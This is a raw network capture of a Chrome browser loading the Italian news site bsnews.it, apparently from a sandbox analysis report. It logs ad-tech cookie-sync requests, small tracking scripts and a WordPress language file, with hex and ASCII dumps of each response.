2024-03-28 08:51:35 UTC	824	OUT	GET /rrum?ixi=1&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dbm%26google_cm%26google_sc%26google_hm%3D HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:35 UTC	1105	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=casale_media2_dbm&google_cm&google_sc&google_hm=ZgUvi9HM46UAADq7ABhzMwAA CF-Ray: 86b66114effb20a6-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:35 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:35 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nXr7EG9%2Fds0sd%2Fc2ncra0fg1a%2BSd1vVNyPYB7nFgnmpzQ1GBHMX3rLZWktJB8NC%2Bmp8Qo8sAoJpepTkB%2FFgzn86amYKNNI%2B%2BydFLtLwYI9ztvYkEA3c1sOXy%2BYlYBUp4Iub%2BdY0h%2Fr0grg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.4	50311	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	576	OUT	GET /6b634075-ddb2-44fb-ba9e-6183cd8a9dec/callback.js HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	992	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPqxbOpgFdrxOy8akseY0X5pjkm6NusJw-Ma8q9tz4S3Nyp5kTjfWsVGwDZ9yBl_rvGTaJ0 Date: Thu, 28 Mar 2024 08:51:35 GMT Last-Modified: Wed, 04 Oct 2023 13:02:17 GMT ETag: W/"a59f70ed50da05a257c245bd023eae1b" Vary: Accept-Encoding x-goog-generation: 1696424537883359 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 20 Content-Type: application/javascript x-goog-hash: crc32c=yf1/lg== x-goog-hash: md5=pZ9w7VDaBaJXwkW9Aj6uGw== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Access-Control-Expose-Headers: Content-Length, Date, Server, Transfer-Encoding, Warning, X-GUploader-Response-Body-Transformations, X-GUploader-UploadID, X-Google-Trace Content-Length: 0 Server: UploadServer Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.4	50310	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	1270	OUT	GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=logicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
2024-03-28 08:51:36 UTC	319	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: text/xml;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true
2024-03-28 08:51:36 UTC	1095	IN	Data Raw: 34 34 30 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 22 33 2e 30 22 20 78 6d 6c 6e 73 3a 74 3d 22 68 74 74 70 3a 2f 2f 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 73 70 22 20 74 3a 73 74 61 74 75 73 3d 22 4e 4f 5f 41 44 22 3e 3c 41 64 20 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 3e 54 72 65 6d 6f 72 20 53 53 50 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 79 6e 63 6e 6f 61 64 3f 72 69 64 3d 33 30 66 32 65 31 30 30 63 33 38 30 34 36 38 35 62 38 39 62 63 34 33 32 65 37 66 Data Ascii: 440<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7f
2024-03-28 08:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.4	50312	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	575	OUT	GET /6b634075-ddb2-44fb-ba9e-6183cd8a9dec/prepare.js HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	1009	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPraG7bp5s2pzlLblPfbES8FoCsARKnhmk5Ry2cs9tZxKqW_7eN1Cq7lnn5LQndR-MscfpsHuFpojQ Date: Thu, 28 Mar 2024 08:51:35 GMT Last-Modified: Wed, 04 Oct 2023 13:02:17 GMT ETag: W/"ff2f32b2a8ea79e41b3b84869dd73875" Vary: Accept-Encoding x-goog-generation: 1696424537897565 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 171 Content-Type: application/javascript x-goog-hash: crc32c=TGaj5Q== x-goog-hash: md5=/y8ysqjqeeQbO4SGndc4dQ== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Access-Control-Expose-Headers: Content-Length, Date, Server, Transfer-Encoding, Warning, X-GUploader-Response-Body-Transformations, X-GUploader-UploadID, X-Google-Trace Server: UploadServer Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:36 UTC	254	IN	Data Raw: 66 38 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 70 72 65 70 61 72 65 28 64 61 74 61 29 7b 0a 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 20 72 65 66 65 72 72 61 6c 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 72 65 66 65 72 72 61 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 43 75 73 74 6f 6d 56 61 72 69 61 62 6c 65 20 3d 20 7b 20 6e 3a 20 27 72 65 66 65 72 72 61 6c 27 2c 20 74 3a 20 27 73 74 72 69 6e 67 27 2c 20 76 3a 20 72 65 66 65 72 72 61 6c 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 20 20 20 20 20 20 20 20 0a 20 20 20 20 7d 20 63 61 74 63 68 28 65 72 72 29 7b 7d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0a 7d 3b 0d 0a Data Ascii: f8async function prepare(data){ try { let referral = window.document.referrer; if (referral) { this.CustomVariable = { n: 'referral', t: 'string', v: referral }; } } catch(err){} return true;};
2024-03-28 08:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.4	50318	192.0.77.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	574	OUT	GET /languages/it-v1.1.json?ver=20240327 HTTP/1.1 Host: widgets.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://widgets.wp.com/likes/master.html?ver=20240327 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:35 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: application/json Content-Length: 4317 Connection: close Last-Modified: Fri, 02 Feb 2024 23:02:20 GMT Vary: Accept-Encoding ETag: "65bd747c-10dd" X-ac: 4.dca _dca MISS Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: MISS dca 1 Accept-Ranges: bytes
2024-03-28 08:51:35 UTC	943	IN	Data Raw: 7b 22 22 3a 7b 22 70 6c 75 72 61 6c 5f 66 6f 72 6d 73 22 3a 22 6e 70 6c 75 72 61 6c 73 3d 32 3b 20 70 6c 75 72 61 6c 3d 6e 20 21 3d 20 31 3b 22 2c 22 6c 61 6e 67 75 61 67 65 22 3a 22 69 74 22 2c 22 6c 6f 63 61 6c 65 53 6c 75 67 22 3a 22 69 74 22 7d 2c 22 42 65 20 74 68 65 20 66 69 72 73 74 20 74 6f 20 6c 69 6b 65 20 74 68 69 73 2e 22 3a 5b 22 44 69 27 20 70 65 72 20 70 72 69 6d 6f 20 63 68 65 20 74 69 20 70 69 61 63 65 2e 22 5d 2c 22 59 6f 75 20 6c 69 6b 65 20 74 68 69 73 2e 22 3a 5b 22 54 69 20 70 69 61 63 65 2e 22 5d 2c 22 4f 6e 65 20 62 6c 6f 67 67 65 72 20 6c 69 6b 65 73 20 74 68 69 73 2e 22 3a 5b 22 50 69 61 63 65 20 61 20 75 6e 20 62 6c 6f 67 67 65 72 2e 22 5d 2c 22 59 6f 75 20 61 6e 64 20 25 73 20 6f 74 68 65 72 20 62 6c 6f 67 67 65 72 73 20 6c 69 Data Ascii: {"":{"plural_forms":"nplurals=2; plural=n != 1;","language":"it","localeSlug":"it"},"Be the first to like this.":["Di' per primo che ti piace."],"You like this.":["Ti piace."],"One blogger likes this.":["Piace a un blogger."],"You and %s other bloggers li
2024-03-28 08:51:35 UTC	1369	IN	Data Raw: 5b 22 31 20 4d 69 20 70 69 61 63 65 22 5d 2c 22 25 64 20 6c 69 6b 65 73 22 3a 5b 22 25 64 20 4d 69 20 70 69 61 63 65 22 5d 2c 22 25 73 27 73 20 61 76 61 74 61 72 22 3a 5b 22 41 76 61 74 61 72 20 64 69 20 25 73 22 5d 2c 22 4c 69 6b 65 64 20 62 79 20 79 6f 75 22 3a 5b 22 50 69 61 63 65 20 61 20 74 65 22 5d 2c 22 4c 69 6b 65 64 20 62 79 20 79 6f 75 20 61 6e 64 20 6f 6e 65 20 6f 74 68 65 72 20 70 65 72 73 6f 6e 22 3a 5b 22 50 69 61 63 65 20 61 20 74 65 20 65 20 61 20 75 6e 27 61 6c 74 72 61 20 70 65 72 73 6f 6e 61 22 5d 2c 22 4c 69 6b 65 64 20 62 79 20 79 6f 75 20 61 6e 64 20 25 64 20 6f 74 68 65 72 20 70 65 6f 70 6c 65 22 3a 5b 22 50 69 61 63 65 20 61 20 74 65 20 65 20 61 64 20 61 6c 74 72 65 20 25 64 20 70 65 72 73 6f 6e 65 22 5d 2c 22 4c 69 6b 65 64 20 62 Data Ascii: ["1 Mi piace"],"%d likes":["%d Mi piace"],"%s's avatar":["Avatar di %s"],"Liked by you":["Piace a te"],"Liked by you and one other person":["Piace a te e a un'altra persona"],"Liked by you and %d other people":["Piace a te e ad altre %d persone"],"Liked b
2024-03-28 08:51:35 UTC	1369	IN	Data Raw: 20 62 79 20 79 6f 75 20 61 6e 64 20 25 73 22 3a 5b 22 50 69 61 63 65 20 61 20 74 65 20 65 20 61 20 25 73 22 5d 2c 22 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 3a 5b 22 4e 6f 74 69 66 69 63 68 65 22 5d 2c 22 56 69 65 77 20 41 72 63 68 69 76 65 22 3a 5b 22 56 69 73 75 61 6c 69 7a 7a 61 20 6c 27 61 72 63 68 69 76 69 6f 22 5d 2c 22 6a 75 73 74 20 6e 6f 77 22 3a 5b 22 70 72 6f 70 72 69 6f 20 6f 72 61 22 5d 2c 22 79 65 73 74 65 72 64 61 79 22 3a 5b 22 49 65 72 69 22 5d 2c 22 63 6f 6d 6d 65 6e 74 5c 75 30 30 30 34 41 70 70 72 6f 76 65 22 3a 5b 22 41 70 70 72 6f 76 61 22 5d 2c 22 41 70 70 72 6f 76 65 20 61 6e 64 20 52 65 70 6c 79 22 3a 5b 22 41 70 70 72 6f 76 61 72 65 20 65 20 72 69 73 70 6f 6e 64 65 72 65 22 5d 2c 22 41 70 70 72 6f 76 65 20 74 68 69 73 20 63 6f Data Ascii: by you and %s":["Piace a te e a %s"],"Notifications":["Notifiche"],"View Archive":["Visualizza l'archivio"],"just now":["proprio ora"],"yesterday":["Ieri"],"comment\u0004Approve":["Approva"],"Approve and Reply":["Approvare e rispondere"],"Approve this co
2024-03-28 08:51:35 UTC	636	IN	Data Raw: 61 72 22 3a 5b 22 75 6e 20 61 6e 6e 6f 22 5d 2c 22 25 64 20 79 65 61 72 73 22 3a 5b 22 25 64 20 61 6e 6e 69 22 5d 2c 22 4a 61 6e 75 61 72 79 22 3a 5b 22 67 65 6e 6e 61 69 6f 22 5d 2c 22 46 65 62 72 75 61 72 79 22 3a 5b 22 66 65 62 62 72 61 69 6f 22 5d 2c 22 4d 61 72 63 68 22 3a 5b 22 6d 61 72 7a 6f 22 5d 2c 22 41 70 72 69 6c 22 3a 5b 22 61 70 72 69 6c 65 22 5d 2c 22 4d 61 79 22 3a 5b 22 4d 61 67 67 69 6f 22 5d 2c 22 4a 75 6e 65 22 3a 5b 22 67 69 75 67 6e 6f 22 5d 2c 22 4a 75 6c 79 22 3a 5b 22 6c 75 67 6c 69 6f 22 5d 2c 22 41 75 67 75 73 74 22 3a 5b 22 61 67 6f 73 74 6f 22 5d 2c 22 53 65 70 74 65 6d 62 65 72 22 3a 5b 22 73 65 74 74 65 6d 62 72 65 22 5d 2c 22 4f 63 74 6f 62 65 72 22 3a 5b 22 6f 74 74 6f 62 72 65 22 5d 2c 22 4e 6f 76 65 6d 62 65 72 22 3a 5b Data Ascii: ar":["un anno"],"%d years":["%d anni"],"January":["gennaio"],"February":["febbraio"],"March":["marzo"],"April":["aprile"],"May":["Maggio"],"June":["giugno"],"July":["luglio"],"August":["agosto"],"September":["settembre"],"October":["ottobre"],"November":[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.4	50329	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	708	OUT	GET /pm_match?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=$UID HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=847CD017CFA04EE58AAA8C55A751BC64
2024-03-28 08:51:35 UTC	653	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=847CD017CFA04EE58AAA8C55A751BC64 Expires: Wed, 27 Mar 2024 08:51:35 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-03-28 08:51:35 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.4	50315	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	863	OUT	GET /pixel?google_nid=pubmatic&google_hm=MDFGNTMyOEEtQzREOS00NEFELTg0NjgtNjBBODg1MjQ3QzY4&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:35 UTC	678	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= Date: Thu, 28 Mar 2024 08:51:35 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 313 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:35 UTC	313	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 6a 49 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.4	50324	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	800	OUT	GET /iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; ad-privacy=0
2024-03-28 08:51:35 UTC	827	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 302 Connection: close x-amz-rid: 8H6N1QQZCGNRXDC1N9KK Set-Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 08:51:35 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 08:51:35 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-03-28 08:51:35 UTC	302	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 72 63 3d 22 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 76 33 2f 70 72 3f 65 78 6c 69 73 74 3d 67 67 5f 70 6d 2d 64 62 35 5f 72 62 64 5f 73 6d 72 74 5f 61 6e 2d 64 62 35 5f 73 6f 76 72 6e 5f 33 6c 69 66 74 26 66 76 3d 31 2e 30 26 61 3d 63 6d 26 63 6d 33 70 70 64 3d 31 26 64 6d 74 3d 33 22 20 73 61 6e 64 62 6f 78 3d 22 61 6c 6c 6f 77 2d 73 61 6d 65 Data Ascii: <html><body style="background-color:transparent"><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" src="//s.amazon-adsystem.com/v3/pr?exlist=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift&fv=1.0&a=cm&cm3ppd=1&dmt=3" sandbox="allow-same

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.4	50334	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
